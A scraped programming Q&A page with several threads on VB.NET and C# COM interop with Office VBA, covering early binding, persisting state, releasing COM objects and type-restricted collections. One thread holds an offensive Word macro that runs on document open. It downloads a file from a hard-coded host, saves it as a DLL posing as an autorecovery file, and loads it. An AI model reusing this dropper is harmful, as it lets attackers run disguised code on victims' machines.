How to enable early binding of VBA object variable to COM classes created in .NET - vb.net

I seem to be having trouble getting my COM class library (.NET-based) to support early binding.
I am creating a class library in VB.NET 2003 for use in Office 2003 VBA (and later for Office 2010). Documentation # StackOverflow and elsewhere has brought me to this bit of code:
Imports System.Runtime.InteropServices
<InterfaceType(ComInterfaceType.InterfaceIsDual), _
ComVisible(True), _
Guid("<some valid GUID>")> _
Public Interface _TestCOMClass
Function Test() As String
End Interface
<ClassInterface(ClassInterfaceType.None), _
ComVisible(True), _
Guid("<another valid GUID>"), _
ProgId("TestCOMDLL.TestCOMClass")> _
Public Class TestCOMClass
Implements _TestCOMClass
Public Function Test() As String Implements _TestCOMClass.Test
Return "Test value"
End Function
End Class
The solution is set to compile with COM Interop. It builds succesfully and the ProgID then appears in the References list in VBA.
I use this in VBA by setting the appropriate reference and then declaring variables of the appropriate type and instantiating my class. Here is where it gets mysterious.
Dim EarlyBird As TestCOMDLL.TestCOMClass
Dim LateBird As Object
Set EarlyBird = New TestCOMDLL.TestCOMClass
' This is my preferred instantiation method, but results in a
' "Does not support Automation or expected interface" error
Set EarlyBird = CreateObject("TestCOMDLL.TestCOMClass")
' This is my 2nd best instantiation method,
' but results in a Type Mismatch error
Set LateBird = CreateObject("TestCOMDLL.TestCOMClass")
MsgBox LateBird.Test
' This works, but has all the disadvantages of late binding
So I can reference my library, declare object variables of the appropriate type, and instantiate my class, but I cannot assign the instantiated object reference to my typed variable, only to a variable of type Object. Also, instantiating the New keyword appears to be supported (Intellisense offers the library and class as options), but fails at runtime.
What is lacking in my VB.NET code or build settings that keeps early binding from working?
PS: Another way of putting my problem is that I've tried the solution in this StackOverflow thread and found that what AnthonyWJones says
You can also reference the dll and use early binding:
is not true in my case... :-(

Related

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

In Excel VBA how to persist key variables over a 'state loss' (without writing to a cell or a file)?

Excel VBA is a flexible development environment. It is pesudo-compiled. However, sometimes during development a "state loss" can occur. A "state loss" is when all variables are torn down. Indeed, VBA has an option "Notify before state loss" option for triage. It is unsurprising that one cannot Edit and Continue code in all cases.
However, sometimes state losses happen whilst running in production because opening some other workbook may cause trauma to your application session (trust me, it happens!)
I know one can persist data to a worksheet cell or even a file but this is inappropriate for trying to retain an instance of a class, especially if that is the anchor for a whole object graph.
So in the case where one insists on a memory held variable how do you persist state over a state loss?
One way to keep the data persistent during the lifetime of Excel is to store them on the default .Net domain attached to the instance:
Sub Usage()
Dim dict As Object
Set dict = GetPersistentDictionary()
End Sub
Public Function GetPersistentDictionary() As Object
' References:
' mscorlib.dll
' Common Language Runtime Execution Engine
Const name = "weak-data"
Static dict As Object
If dict Is Nothing Then
Dim host As New mscoree.CorRuntimeHost
Dim domain As mscorlib.AppDomain
host.Start
host.GetDefaultDomain domain
If IsObject(domain.GetData(name)) Then
Set dict = domain.GetData(name)
Else
Set dict = CreateObject("Scripting.Dictionary")
domain.SetData name, dict
End If
End If
Set GetPersistentDictionary = dict
End Function
Attempting answer of my own question ...
The solution is to have a simple container, I choose Scripting.Dictionary, compiled into a DLL and make accessible to VBA using COM. In the old days one could have used VB6.
These days, one can also use C++ but here I present a C# solution (uses COM interop).
using System.Runtime.InteropServices;
namespace VBAStateLossProofStorageLib
{
// Code curated by S Meaden from Microsoft documentation
// 1. C# Shared Class library
// 2. In AssemblyInfo.cs set ComVisible(true)
// 3. In Project Properties->Build check 'Register for Interop'
// 4. Add Com reference to Microsoft Scripting Runtime
public interface IVBAStateLossProofStorage
{
Scripting.Dictionary getGlobalDictionary();
}
[ClassInterface(ClassInterfaceType.None)]
[ComDefaultInterface(typeof(IVBAStateLossProofStorage))]
public class VBAStateLossProofStorage : IVBAStateLossProofStorage
{
public Scripting.Dictionary getGlobalDictionary()
{ return CVBAStateLossProofStorage.m_dictionary; }
}
// https://msdn.microsoft.com/en-gb/library/79b3xss3.aspx
// "a static class remains in memory for the lifetime of the application domain in which your program resides. "
[ComVisible(false)]
static class CVBAStateLossProofStorage
{
public static Scripting.Dictionary m_dictionary;
static CVBAStateLossProofStorage()
{
m_dictionary = new Scripting.Dictionary();
}
}
}
And here is some client VBA code to demonstrate. Requires a Tools->Reference to the type library (.tlb file) created alongside the Dll.
Option Explicit
Public gdicLossy As New Scripting.Dictionary
Public gdicPermanent As Scripting.Dictionary
Sub RunFirst()
Set gdicLossy = New Scripting.Dictionary
gdicLossy.add "Greeting", "Hello world!"
Dim o As VBAStateLossProofStorageLib.VBAStateLossProofStorage
Set o = New VBAStateLossProofStorageLib.VBAStateLossProofStorage
Set gdicPermanent = o.getGlobalDictionary
gdicPermanent.RemoveAll '* clears it down
gdicPermanent.add "Greeting", "Bonjour!"
End '* THIS PROVOKES A STATE LOSS - ALL VARIABLES ARE TORN DOWN - EVENT HANDLERS DISAPPEAR
End Sub
Sub RunSecond()
Debug.Assert gdicLossy.Count = 0 '* sadly we have lost "Hello world!" forever
Dim o As VBAStateLossProofStorageLib.VBAStateLossProofStorage
Set o = New VBAStateLossProofStorageLib.VBAStateLossProofStorage
Set gdicPermanent = o.getGlobalDictionary
Debug.Assert gdicPermanent.Count = 1 '* Happily we have retained "Bonjour!" as it was safe in its compiled Dll
Debug.Assert gdicPermanent.Item("Greeting") = "Bonjour!"
End Sub

Proper release of COM objects in code

I have just started to migrate some code from VBA to VB.Net. So I am an absolute beginner in VB.Net – but I want to do things right. Maybe some of my questions are stupid but I guess that is because I am a beginner.
So as a first exercise I have developed my first piece of code (see below). Now I thought I have to release ALL COM objects again. Two of them throw errors already while writing the code. And others throw errors at runtime.
But the funny thing is: Weather I release the rest of the COM objects or not (by making the relevant not yet commented lines of Marshal.Release to comments as well – then all lines starting with Marshal.Release are comment lines) the behavior of the code is absolutely the same to my eyes.
Can anybody tell me where I can see/find the difference?
The internet tells me that there must be a difference?
But I guess I just don’t understand (till now).
Besides this many more questions are in my head:
Does every “Dim” statement create a COM Object - that has to be released later on?
If not how do I detect whether a COM object has been created or not? Which “Dim” statements create COM object and which don't?
In this example: Dim ActiveWindow As Object = Nothing Try ActiveWindow = Me.HostApplication.ActiveWindow() Catch End Try
Is
Marshal.ReleaseComObject(ActiveWindow)
identical to
Marshal.ReleaseComObject(Me.HostApplication.ActiveWindow())?
According to this:
http://www.codeproject.com/Tips/235230/Proper-Way-of-Releasing-COM-Objects-in-NET
Would it not be better to release each "level" separately like this:
Marshal.ReleaseComObject(Me.HostApplication.ActiveWindow())
Marshal.ReleaseComObject(Me.HostApplication)
Marshal.ReleaseComObject(Me)
Overall: Am I trying to release too much? Or is it correct / good practie?
And what does "GC.Collect()" and "… = Null" have to do with all this? I have not used it at all. Should I better use it? Why? ( "... = Null" I have seen here:
http://www.codeproject.com/Tips/162691/Proper-Way-of-Releasing-COM-Objects-in-NET)
Why do I get “ShapeCount was not declared …” - Error if I try to do “Marshal.ReleaseComObject(ShapeCount)”? The same with “ShRange”. I think these are COM objects as well?!?
How do I notice when is the best time to release the COM object again? When I process/debug my code step by step with F11 will it be possible for me to determine the best (soonest) point of release? So far I have no “feeling” about when the COM object is not needed anymore and I can release it.
Any help and explanations very welcome.
Here is the code I am talking about:
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports System.Windows.Forms
Imports AddinExpress.MSO
Imports PowerPoint = Microsoft.Office.Interop.PowerPoint
'Add-in Express Add-in Module
<GuidAttribute("D75C609E-7632-400F-8A6F-6A6E6E744E75"),
ProgIdAttribute("MyAddin8.AddinModule")> _
Public Class AddinModule
Inherits AddinExpress.MSO.ADXAddinModule
#Region " Add-in Express automatic code "
[…]
#End Region
Public Shared Shadows ReadOnly Property CurrentInstance() As AddinModule
Get
Return CType(AddinExpress.MSO.ADXAddinModule.CurrentInstance, AddinModule)
End Get
End Property
Public ReadOnly Property PowerPointApp() As PowerPoint._Application
Get
Return CType(HostApplication, PowerPoint._Application)
End Get
End Property
Private Sub AdxRibbonButton2_OnClick(sender As Object, control As IRibbonControl, pressed As Boolean) Handles AdxRibbonButton2.OnClick
MsgBox(GetInfoString2())
End Sub
Friend Function GetInfoString2() As String
Dim ActiveWindow As Object = Nothing
Try
ActiveWindow = Me.HostApplication.ActiveWindow()
Catch
End Try
Dim Result As String = "No document window found!"
If Not ActiveWindow Is Nothing Then
Select Case Me.HostType
Case ADXOfficeHostApp.ohaPowerPoint
Dim Selection As PowerPoint.Selection =
CType(ActiveWindow, PowerPoint.DocumentWindow).Selection
Dim WindowViewType As PowerPoint.PpViewType = PowerPoint.PpViewType.ppViewNormal
Dim SlideRange As PowerPoint.SlideRange = Selection.SlideRange
Dim SlideCountString = SlideRange.Count.ToString()
If WindowViewType = 9 And SlideCountString < 2 Then
Dim ShRange As PowerPoint.ShapeRange = Nothing
Try
ShRange = Selection.ShapeRange
Catch
End Try
If Not ShRange Is Nothing Then
Dim ShapeCount = ShRange.Count.ToString()
Result = "You have " + ShapeCount _
+ " shapes selected."
Else
Result = "You have 0 shapes selected."
End If
End If
'Marshal.ReleaseComObject(ShapeCount)
'Marshal.ReleaseComObject(ShRange)
'Marshal.ReleaseComObject(WindowViewType)
'Marshal.ReleaseComObject(SlideCountString)
Marshal.ReleaseComObject(SlideRange)
Marshal.ReleaseComObject(Selection)
Case Else
Result = AddinName + " doesn't support " + HostName
End Select
'Marshal.ReleaseComObject(Me.HostType)
'Marshal.ReleaseComObject(Result)
Marshal.ReleaseComObject(Me.HostApplication.ActiveWindow())
Marshal.ReleaseComObject(Me.HostApplication)
'Marshal.ReleaseComObject(Me)
End If
Return Result
End Function
End Class
The ReleaseComObject method of the Marshal class decrements the reference count of the specified Runtime Callable Wrapper (RCW) associated with the specified COM object, it doesn't release an object. It comes from the COM nature.
Typically you need to release every object returned from the Office (PowerPoint in your case) object model. Exceptions are objects passed to event handlers as parameters.
You may read more about that and find answers to your multiple questions in the When to release COM objects in Office add-ins developed in .NET article.
FinalReleaseComObject calls ReleaseComObject til it returns 0 which means release of COM object. Calling them in reverse order as in Excel objects(Application, Workbook, Worksheet) is the proper way to dispose of COM objects that are related.
Exception Condition
ArgumentException
o is not a valid COM object.
ArgumentNullException
o is null.

How to reference an object from SSRS's Code pane?

How to reference an object from Code(After of Page Setup, before References) ?
For example, given this class:
How can I use that object in Code pane, I tried this but it doesn't work:
Public Shared Function Test() As String
Test = "Hello " & m_Class1.SomeFunction()
End Function
I tried this too, not working too:
Public Shared Function Test() As String
Test = "Hello " & Code.m_Class1.SomeFunction()
End Function
Note, I don't have the assembly's source code, I cannot make my changes directly there
AFAIK you can't.
Whatever you write in the Code pane has to be static (Shared in vb), so you should wrap your "ClassLibrary2.Class1" in a static method and call it like ClassLibrary2.MyStaticClass.MyStaticMethod() (or in a new assembly, given that you can't recompile the original one)
Note that indeed you can call your instance m_Class1 instance from within the expression box of RS items like Code.m_Class1.SomeMethod()

Restrict type in a Collection inside a class module

I have a collection inside a class module. I'd like to restrict the object type that is "addable" to this collection, i.e. collection should only ever accept objects of one given type and nothing else.
Is there any way to enforce the type of objects added to a collection?
From what I can tell, there is no built-in way to do this. Is the solution then to make this collection private, and build wrapper functions for the methods usually accessible for Collections, i.e. Add, Remove, Item, and Count?
I kinda hate having to write 3 wrapper functions that add no functionality, just to be able to add some type enforcement to the Add method. But if that's the only way, then that's the only way.
There is no way to avoid wrapper functions. That's just inherent in the "specialization through containment/delegation" model that VBA uses.
You can build a "custom collection class", though. You can even make it iterable with For...Each, but that requires leaving the VBA IDE and editing source files directly.
First, see the "Creating Your Own Collection Classes" section of the old Visual Basic 6.0 Programmer's Guide:
http://msdn.microsoft.com/en-us/library/aa262340(v=VS.60).aspx
There is also an answer here on stackoverflow that describes the same thing:
vb6 equivalent to list<someclass>
However, those are written for VB6, not VBA. In VBA you can't do the "procedure attributes" part in the IDE. You have to export the class module as text and add it in with a text editor. Dick Kusleika's website Daily Dose of Excel (Dick is a regular stackoverflow contributer as you probably know) has a post from Rob van Gelder showing how to do this:
http://www.dailydoseofexcel.com/archives/2010/07/04/custom-collection-class/
In your case, going to all that trouble - each "custom collection" class needs its own module - might not be worth it. (If you only have one use for this and it is buried in another class, you might find that you don't want to expose all of the functionality of Collection anyway.)
This is what I did. I liked Rob van Gelder's example, as pointed to by #jtolle, but why should I be content with making a "custom collection class" that will only accept one specific object type (e.g. People), forever? As #jtolle points out, this is super annoying.
Instead, I generalized the idea and made a new class called UniformCollection that can contain any data type -- as long as all items are of the same type in any given instance of UniformCollection.
I added a private Variant that is a placeholder for the data type that a given instance of UniformCollection can contain.
Private mvarPrototype As Variant
After making an instance of UniformCollection and before using it, it must be initialized by specifying which data type it will contain.
Public Sub Initialize(Prototype As Variant)
If VarType(Prototype) = vbEmpty Or VarType(Prototype) = vbNull Then
Err.Raise Number:=ERR__CANT_INITIALIZE, _
Source:=TypeName(Me), _
Description:=ErrorDescription(ERR__CANT_INITIALIZE) & _
TypeName(Prototype)
End If
' Clear anything already in collection.
Set mUniformCollection = New Collection
If VarType(Prototype) = vbObject Or VarType(Prototype) = vbDataObject Then
' It's an object. Need Set.
Set mvarPrototype = Prototype
Else
' It's not an object.
mvarPrototype = Prototype
End If
' Collection will now accept only items of same type as Prototype.
End Sub
The Add method will then only accept new items that are of the same type as Prototype (be it an object or a primitive variable... haven't tested with UDTs yet).
Public Sub Add(NewItem As Variant)
If VarType(mvarPrototype) = vbEmpty Then
Err.Raise Number:=ERR__NOT_INITIALIZED, _
Source:=TypeName(Me), _
Description:=ErrorDescription(ERR__NOT_INITIALIZED)
ElseIf Not TypeName(NewItem) = TypeName(mvarPrototype) Then
Err.Raise Number:=ERR__INVALID_TYPE, _
Source:=TypeName(Me), _
Description:=ErrorDescription(ERR__INVALID_TYPE) & _
TypeName(mvarPrototype) & "."
Else
' Object is of correct type. Accept it.
' Do nothing.
End If
mUniformCollection.Add NewItem
End Sub
The rest is pretty much the same as in the example (plus some error handling). Too bad RvG didn't go the whole way! Even more too bad that Microsoft didn't include this kind of thing as a built-in feature...
I did almost the same code of Jean-François Corbett, but I adapted because for some reason wasn't working.
Option Explicit
Public pParametro As String
Private pColecao As New Collection
Public Sub Inicializar(ByVal parametro As String)
pParametro = parametro
End Sub
Public Sub Add(NewItem As Object)
If TypeName(NewItem) <> pParametro Then
MsgBox "Classe do objeto não é compatível à coleção"
Else
pColecao.Add NewItem
End If
End Sub
Public Property Get Count() As Long
Count = pColecao.Count
End Property
Public Property Get Item(NameOrNumber As Variant) As Variant
Set Item = pColecao(NameOrNumber)
End Property
Sub Remove(NameOrNumber As Variant)
pColecao.Remove NameOrNumber
End Sub
Then, when i want to create an instance from CCollection I make like the code bellow:
Set pFornecedores = New CCollection
pFornecedores.Inicializar ("CEmpresa")
Where CEmpresa is the class type from the object I want
Yes. The solution is to make your collection private and then make public wrapper functions to add, remove, getitem and count etc.
It may seem like hassle to write the additional code but it is a more robust solution to encapsulate the collection like this.